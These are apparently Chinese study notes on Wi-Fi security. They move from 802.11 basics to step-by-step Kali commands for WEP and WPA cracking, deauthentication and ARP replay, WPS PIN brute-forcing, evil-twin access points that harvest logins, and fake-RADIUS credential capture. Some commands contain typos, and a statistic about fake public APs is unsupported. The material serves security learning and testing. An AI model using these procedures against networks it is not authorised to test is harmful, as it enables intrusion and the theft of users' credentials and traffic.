802.11只涵盖了下面黄字部分的2层,802.2定义了LLC层
802.11 下面的协议组,F是正式标准,大写,abcde小写是在之前标准之上进行修正,修正版。
网络速度一般都谈论bit 即每秒传送多少bit
硬盘速度一般都是byte 即每秒读写多少byte
802.11 n能达到600Mbps
85MHZ有太多无线设备工作,微波、蓝牙、无绳电话、地铁、公交等民用无线控制信号。
802.11a很早就发布,但是一直没有大量使用,直到今天才开始逐渐普及。
她就是海蒂·拉玛,一个漂亮得不像实力派的才女。 “比我漂亮的没我聪明,比我聪明的没我漂亮。”世界上能说这句话的,估计只有她了。
在802.11b的基础上更新扩展,802.11g,还是使用2.4G频段,想达到5G的速度。
只要有一个终端不支持802.11g那么所有就会工作在802.11b
兼容2.4G,5G,也需要全网都支持802.11n才能使速率最大化。
使用多个天线来进行信号收发,多信号、多路无线电波。
Infrastructure
AP维护SSID
Ad-Hoc
STA维护SSID
Service Set Identifier(SSID)
AP每秒约10次通过Beacon帧广播SSID
客户端连接到无线网络后也会宣告SSID(可以侦听客户端的宣告获知AP)
多个AP使用同一个SSID,称为ESS
在基础架构的无线网络里,收集终端的信号传输都要经过AP。
AD-HOC架构的网络里,终端之间直接进行通讯。
WDS形成了ESS
有专用的无线中继器通过WDS连接。
还有一种无线模式,不是一种无线网络工作模式,类比有线网络里的混杂模式。
monitor模式可以抓取802.11包
无线网硬件设备及基本概念
无线网卡准备:
物理机运行kali
虚拟机运行kali:
外置USB无线网卡
TL-WN722N(建议)
dmesg
iwconfig
桥接模式不行(虚拟机不认为是无线网卡)
默认无线网卡工作在managed模式,需要命令修改为monitor
发射功率:一般厂家的无线网卡被厂家限制功率,防止无线信号垃圾干扰。
适当降低灵敏性。
12年初建议使用此网卡,现在有新版本。
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers_old
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#list_of_compatible_adapters
选择都是yes的网卡。
Linksys WUSB54GC v1 |
雷凌RT73 |
内部 |
没有 |
是 |
dBm是相对值,mW差别很大。
比如同样a点到b点17-20 或者 20-23 都是差3dBm,2者实际功率差算不出来。
dBi:全向天线辐射强度,增加性能成为增益
dBd:定向天线辐射强度,增加性能成为增益
无线覆盖领域是复杂的计算结果。
功率过大以后会变成定向天线,而且方向也不可控,所以不建议无限制增加功率。
朝指定方向发送信号
iwconfig
wpa_passphrase
linux当时使用ieee 802.11 提供了:iwconfig,iwlist两个命令
mac80211 协议栈(现在大部分unix/linux都是用了mac80211)
iw命令
查看无线网卡:
ifconfig、iwconfig、
iw list
Supported interface modes:
* IBSS
* managed
* AP
* AP/VLAN
* monitor
* mesh point
信道频率
iwlist wlan frequency
扫描附近AP
iw dev wlan0 scan | grep SSID
会发现负值的dBm:-92dBm(表示信号接收强度)
设备设计发射功率一般20dBm。以上负值是接收功率。
Log(signal/1mW) log1=0 log10=1 log0.5=-3 log0.01=-20 log0.001=-30
只要在0和-50之间都是比较好的信号强度。
-50---75之间一般 -75不好 --130以上就是不可达
iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID"
iwlist wlan0 scanning |egrep “ESSID|Channel”
iw dev wlan0 interface add wlan0mon type monitor #设置混杂模式
然后可以使用抓包工具进行分析
iw dev wlan0mon interface del
ifconfig wlan0mon up
故障排除:service network-manager stop
ifconfig查看活动网卡,ifconfig -a查看所有网卡
可以先把网卡up,然后再打开monitor模式。打开monitor模式以后up wlan0mon。
无线wifi是广播的形式,所以基于monitor的网卡都能接收到所有数据包。
所以无线都要使用加密技术。
RADIOTAP不在802.11标准之内,但是是802.11的事实标准。
RADIOTAP可以让厂家自定义内容,不同厂家不支持的内容会自动剥离,不影响上层数据。
802.11头
重点关注MPDU头部
无线网卡里有功率放大器的组件,比较耗电,所以可以工作在省电模式。
在一定时间内不工作的情况下,网卡可以被置入省电模式。
向AP发送省电模式帧,只有stastion会发送置为1的省电模式帧,AP不会发送。
在省电模式下几乎不接受帧,只接受来自AP的特定类型的帧,可以唤醒网卡。
唤醒以后终端会向AP主动索要缓存里的数据。
CONTROL FRAME
控制帧没有数据段。
PS=POWER SAVE
避免隐藏节点
0 关联请求帧 1 关联响应帧 8 beacon帧
隐藏ssid也同样会抓到包,数据包里包含ssid,但是为空。
通过看到支持的速率可以判断AP支持哪个802.11 x
1-54 802.11g
接触关联/认证
dhcp客户端会优先申请以前用的ip地址。
sta发送probe帧是向所有信道。
sta发给ap,ap发给sta的数据包会以广播的形式发射,如果在范围内就可以侦听到所有的无线信号。
ap发送随机的字符给sta,sta通过使用预设共享密钥和随机字符计算出一个值发送给ap进行验证。
802.11发布时就已经考虑加密方式WEP
802.11i WPA2
OPEN形式的网络上层应用也使用不加密协议,是很容易截获数据的。
不同于局域网交换环境,需要mac欺骗才可以截获数据。
gratuitous arp(免费的,无偿的)源和地址都是自己,这样做是为了宣告自己的存在,避免ip冲突。接下来NBNS宣告,名称宣告,避免重名。
空数据包,告诉ap处于省电模式
OPEN身份认证模式下,都可以把别人传的数据包都抓下来。
RC4是对称加密算法,实现机密性,CRC32保证完整性。
IV是起始向量。
64bit 8 128 13
RSA3位大师一起研发。
对称加密分为块加密和流加密
通过计算得出密钥流,密钥流长度跟数据流一样长。
key id 是对应的密钥流里的id号。
WEP/WPA都是一整套保证无线通讯安全的系统。
WEP 安全机制有问题,密码起始向量有安全隐患。
只要攻击者收集到足够的IV值就可以把密钥分析出来。
WPA1目前也是大范围使用。也是比较安全的。
WPA2和以前算法有很大不同,不向下兼容,老的硬件不支持。
预设共享密钥存在分发密钥过程风险。
在企业里有多个业务系统,为多个业务系统维护每个人的用户账号,是很大量的工作。
集中身份验证:Radius LDAP Kerbors
802.1x 资源整合的安全系统。
WPA企业使用802.1x 和Radius服务器实现AAA
A 认证 A 授权 A 记账
客户端到AP之间使用802.1x使用eap协议,AP到Radius之间使用Radius协议
EAP只是一个框架。
首要任务就是拿到wifi密码
AIRCRACK-NG是一个套件,这个工具是套件中的一个。
实现网络检测、嗅探抓包、包注入、密码破解
在有线网络环境里,把网卡做成嗅探模式,就不再发送正常包。
无线网卡可以使用此工具即嗅探又发包。
检查网卡驱动airmon-ng
airmon-ng check #检查与现有系统进程造成冲突
airmon-ng check kill #直接kill掉有可能出问题的进程。
airmon-ng start wlan0 #可以把网卡置为侦听模式
airmon-ng stop wlan0 #停止侦听模式
iwlist wlan0mon channel
没有把网卡设置为monitor模式之前是manager模式
抓包可以使用tcpdump,也可以使用Wireshark,无线抓包可以使用AIRODUMP-NG,可以把做渗透使用的数据条理清晰的列出来。
使用airodump-ng时会把网卡置入hopping状态,不再只工作在一个信道里
1-13个信道轮询
airodump-ng wlan0mon -c 1 #指定抓取信道。指定信道后也可能会抓取相邻信道的包
可以指定抓取哪个AP,指定保存文件名。会生成几个文件。各有各的用途
--ivs 抓取的是wep加密的wifi,会过滤只剩下ivs的包。
aireplay-ng
注入时需要检查信道一致。
使用macchange更改mac地址,改成与伪造mac地址一致。
无线网卡启用侦听模式之前是48位,当变为monitor模式以后变为很长的一串。
修改wlan0mon的mac地址先要down。
ifconfig -a
macchanger -mac 00:11:22:33:44 wlan0mon
aireplay-ng -9 wlan0mon
airmon-ng start wlan0mon 11 #启动时指定信道
iw dev wlan0mon set channel 13 #修改信道
和AP工作在同一信道
airodump-ng wlan0mon -c 11 --bsside 10:42:00:03:31:2E
使用更改MAC地址后的网卡连接WIFI。这时候会有2个同样MAC地址的sta连接到AP,这样可能会丢包。
airodump-ng -c 11 --bssid 10:42:00:03:31:2E -w wep.cap wlan0mon
可以抓到密钥流。
aireply-ng -1 60 -e pcdn -y wap-01.oxr -e 10:42:00:03:31:2E -h 10:42:00:03:31:22 wlan0mon
-e 跟bssid -y跟抓取的xor文件 -a 跟ap mac -h跟本机mac
每60秒发送-1号数据包跟AP进行重新关联,使用抓取的xor文件。
在抓取验证信息时,需要有sta取发送验证信息,验证的一个过程。
如果在抓取的过程中没有客户端进行验证,就需要一直等下去。
可以使用deauthentications(解除身份认证)抓取xor文件。
aireply-ng -0 1 -a 10:42:00:03:31:2E -c 10:42:00:03:31:22 wlan0mon
断开连接,让客户端重连,重连的时候可以抓取包。
aireply-ng -0 10 -a 04:95:E6:4D:1D:78 -c 10:42:00:03:31:22 wlan0mon
也可以多发几个0号包,多次断开客户端连接。
抓取包以后就可以关联,关联后就可以让AP发送大量iv值
64位密钥建议抓 20w IV值 128位密钥抓150w IV值
通过airodump DATA字段查看,想办法让AP在短时间内发送大量IV值的包。
最有效的办法是发送大量ARP重放
这时候虽然hack和AP已经关联,但是没有办法发送正常的ARP
所以先让正常的STA发送一个ARP 请求
先让攻击者发送deauthentications,打断STA和AP之间的关系,STA会重新验证,发送ARP请求,这时候就可以抓到包。
在攻击者电脑上运行
aireplay-ng -3 -b 10:42:00:03:31:2E(AP) -h 10:42:00:03:31:22(攻击者) wlan0mon
密码破解:
可以一边抓一边进行破解尝试,破解时需要读取抓包文件
aircrack-ng wep-01.cap
破解WEP总结:
airmon-ng check kill #直接kill掉有可能出问题的进程。
airmon-ng start wlan0 #可以把网卡置为侦听模式
airmon-ng stop wlan0 #停止侦听模式
airodump-ng -c 11 --bssid AP-MAC -w wep-01 wlan0mon
抓到以后就可以看到keystream显示出来
aireply-ng -1 60 -e AP-BSSID -y wap-01.oxr -a 10:42:00:03:31:2E -h 10:42:00:03:31:22 wlan0mon
建立关联关系
aireply-ng -3 -b AP-MAC -h 攻击者MAC wlan0mon
arp重放攻击(先要得到arp包,得不到的情况下可以触发产生)
aireply-ng -0 2 -a AP-MAC -c 客户端MAC wlan0mon
deauthentications,让客户端和AP重连,可以抓取arp包,也可以抓取keysteam
aircrack-ng wep-01.cap
airmon-ng check kill #直接kill掉有可能出问题的进程。
airmon-ng start wlan0 #可以把网卡置为侦听模式
airmon-ng stop wlan0 #停止侦听模式
airodump-ng wlan0mon
54:36:9B:07:AF:36 -47 19 0 0 13 270 WPA2 CCMP PSK PDCN
54:36:9B:07:AF:36 70:8A:09:56:3C:87 -25 0 - 6 0 1
airodump-ng wlan0mon --bssid 54:36:9B:07:AF:36 -c 13 -w test
CC:34:29:95:2D:92 -48 12 10 0 11 130 WPA2 CCMP PSK Sales_2.4G
3C:CD:5D:4A:DB:8F
抓取到WPA handshake包以后就可以中断抓包了。
可以使用字典文件进行破解
aircrack-ng -w /usr/share/john/password.lst test-01.cap
抓包时建议加上-c信道参数
wpa至少8个字符该字典文件里有少于8个字符的密码。不是专用wpa字典
在kali中内置了好多字典/usr/share/wordlist/
用在离ap比较远,能抓取到客户端的信号,或者AP根本不存在的情况下。
通过airdump-ng抓到客户端mac和要连哪个AP
然后伪造一个AP,抓取4步握手的前两步信息。
伪装AP使用airbase-ng --essid leon -c 11 wlan0mon (open)
为了命中率更高,可以创建多个ap
指定不同的身份认证:open,wep,wpa,wpa2
airbase-ng --essid leon -c 11 -z wlan0mon
airbase-ng --essid leon -c 11 -Z wlan0mon
抓取到握手信息就可以使用aircrack-ng进行破解了。
WPA破解密码过程抓包变得很基本不那么重要,快速破译密码成了重点和关键。
kali里有几个提高破解密码效率的工具:
aircrack-ng套件中的一个:airolib
essid 和pmk 先计算好。
John the ripper,是非常好的破解密码的工具,不仅限于破解无线密码。
不需要事先准备一个大的字典文件,这个可以指定规则生成密码字典。
编辑它的规则文件动态生成密码/etc/john/john.conf
cowpatty windows/linux平台都有的wpa密码破解工具
可以使用密码字典,也可以使用彩虹表。
使用密码字典每秒107,aircrack 每秒339,字典文件的方式cowpatty没有优势。
优势是使用彩虹表,使用genpmk生成彩虹表。
genpmk -f /root/password.lst -d /root/pmkhash -s kifi
cowpatty -r data.cap -d /root/mpkhash -s kifi
每秒 9w+,接近1000倍速度提升。
由于第一步要生成彩虹表,速度一般,所以用在bssid固定,密码经常改的情况,彩虹表生成以后可以重复使用。
pyrit抓包,前提还是使用airmon-ng把网卡置为monitor模式
pyrit -r wpa.cap analyze #分析数据包握手信息
从airodump包导入并筛选:
pyrit -r wpa-01.cap -o wpapyrit.cap strip
直接使用密码字典:
pyrit -r wpa.cap -i /usr/share/john/password.lst -b
每秒238个密码比对,比aircrack差点,比cowpatty好
虚拟机速度一般,因为没有GPU。
pyrit -r wpa.cap -b AP-MAC attack.db
虚拟机情况下2w+,有GPU会更高。
既想省事也想安全,开发了WPS。
手机,平板,电脑,ap都需要支持WPS。
双方不需要输入密码,只需要双方按一个按钮,基于物理动作的一个动作,不需要预设共享密码,也就没有传递密码的过程。
标准没有设计锁定机制,所以可以重复尝试。目前多个厂家实现了锁定机制。
前四位1w次尝试就可以猜出来。
后4位有一位checksum,实际只有1000种。
加起来11000种组合。
有了pin码可以连上AP,即使此时没有sta使用wps连上ap也可以使用此方式获取共享秘密。设计之初是为了方便有保密的方式使用wifi。
4-10小时就可以破解PIN出来,拿到PIN就可以读取出密码。
间隔性的破解可以绕过锁定机制,一般15-20个小时能破解出来。
早期某些厂家的pin码是AP MAC地址前3个字节转换成十进制
C83A35=13122101,不足的前面补0
启动monitor模式
不是所有AP都支持WPS,第一步先寻找。
最新版不支持C参数
获取到AP的mac地址以后可以碰运气试试十进制。
新版的airodump-ng也支持发现wps的功能。
最新版的wps 2.0有了新的安全特性。
有了pin码可以reaver获得密码
reaver -i wlan0mon -b ap-mac -c 11 -vv K 1 #尝试有漏洞的wps
reaver -i wlan0mon -b ap-mac -c 11 -vv #尝试11000次的wps pin
每尝试到10 次会暂停一次。会检测到ap有安全机制。睡一觉密码就出来了。
wifite工具太牛x了。密码简单的5分钟破解。
最佳操作,network-manager stop
airmon-ng check kill
然后再插入无线网卡。
wpa_supplicant 会初始化网卡,所以先kill掉再插入网卡。
pixiewps 命令作用和reaver 加K 1 命令一样。
pixiewps的参数可以使用reaver命令的输出
EVIL TWIN AP不能称为渗透测试,应该是黑客攻击的手段。
北上广20%的公共场合AP是伪造的。
免费AP吸引用户连接,伪造、窃取用户信息,DNS劫持,更改访问请求。
可以使用树莓派安装2个无线网卡充当路由。
劫持用户访问到伪造的网页,抓取用户登录信息。
可以直接使用黑客笔记本充当伪造AP。
可以在结合set工具复制网站。
EVIL TWIN AP、ROGUE AP
3viTwinAttacker
自动化的伪造AP进行欺骗。
git clone https://github.com/P0cL4bs/WiFi-Pumpkin
cd WiFi-Pumpkin
./install.sh --install
集成化多工具的图形化的工具。
先保证eth0可以上网。
execute wifi-pumpkin in terminal
回公司测试,测试嗅探效果。
同时运行抓包软件分析通过的数据包。
driftnet #自动识别在传输的流量里的图片,显示出来。
WPA企业密码破解,AP后端指向RADIUS服务器。
客户端使用EAP信息发送到AP,AP发送到RADIUS服务实现AAA功能。
多个AP的情况下可以使用AC统一管理。
企业情况下不再使用统一的预共享密钥,每个人使用个人的账户/密码进行连接。
在攻击WPA企业架构的时候,架设一个伪造AP,后端指向一个伪造的RADIUS服务器,伪造的服务器进行抓包。虽然抓到时密文的形式,假冒RADIUS可以抓到密文的关键信息,可以利用字典进行暴力破解。
现在使用kali以后可以把伪造AP去掉,直接使用kali进行全部工作。
这里用户名不加密,使用challenge+response进行暴力破解密码。
用来伪造AP可以使用:hostap,与airebase-ng更稳定,更强大。
hostapd-wpe,利用hostap伪造AP,还有其他RADIUS功能。
最后一步
asleap -C challenge -R response -W dictionary_file
把抓下来的cap或pcap文件解密、解除封装的命令。
使用wirshark打开cap的时候,发现802.11的包头,如果是open状态能看到上层数据信息部分,如果是wep、wpa方式加密,可读部分只能看到802.11包头。
使用以上方式破解到无线的密码后就可以使用密码对数据包进行解密。
破解也只是把802.11包头去掉,应用层加密不会解开。
使用wireshark打开解密后的cap文件可以看到上层数据。
远程无线网络判断故障、抓包、控制。在远程部署kali,安装无线网卡,通过这台机器的有线网线控制这台服务器对无线网卡进行操作。
进行侦听、破解、渗透。
和本机运行效果一样,防火墙有可能会影响c/s间的通信。
Repeate是把无线网卡收到的信息再重放出去。Replay不是实时的方式,保存成为数据包文件。重放的时候可以分析,渗透。
wIDS部署位置比较重要,要能同时接收到AP和客户端的信号,不然只能抓取到一端的。
有4个条件要满足:1.启动监听;2.essid;3.密码;4.4次握手信息。
所有跟AP连接的客户端流量都可以抓到。
生成一个at0的网卡,可以使用wireshark抓包分析。
也可以使用driftnet抓图片。
airtun-ng -a 54:36:9B:07:AF:36 -p zaneelhz -e PDCN wlan0mon
ifconfig at0 up
tcpreplay 数据包重放
使用snort、snorby 进行分析
snort免费的IDS
Snort已发展成为一个多平台(Multi-Platform),实时(Real-Time)流量分析,网络IP数据包(Pocket)记录等特性的强大的网络入侵检测/防御系统(Network Intrusion Detection/Prevention System),即NIDS/NIPS.
wireshark可以同时抓2个网卡的数据包。
中继功能
重放功能
其他工具,不是包含在aircrack-ng套件当中的其他工具。
可以把抓取的数据包放到服务器上进行在线破解。也可以直接在网页上上传破解。5%的破解率。
网站也提供了一些密码字典,声称是比较好的字典。
运行这个命令之前要手动执行network-manageer stop;arimon-ng check kill
自带的一些工具也可以试试。
无线侦察
拿着笔记本开启kismet,然后在户外走动
kismet可以联动GPS
可以使用USB口的GPS模块。
kismet侦听无线相关信息定位到物理位置上。
可以经过命令处理,可以导入到google地图上。
as root
start kismet Server
定义抓包
不需要启动monitor模式。
收集的信息保存在kismet运行的目录下。
kismet开头的文件。
nettxt gpsxml netxml
如果连接了GPS模块,可以同时把位置信息结合起来。进一步可以导入到google地图。
默认没有安装gpsd命令。 apt-get install gpsd gpsd-clients
插入usb gps模块以后,会在系统里生成一个设备,demsg可以看到映射到哪个设备。
/dev/tty/usb0…
gpsd -n -N -D4 /dev/tty/usb/…
下载linux下的google earth deb文件,或者使用apt-get install 安装。
通过goog-earth导入kml文件。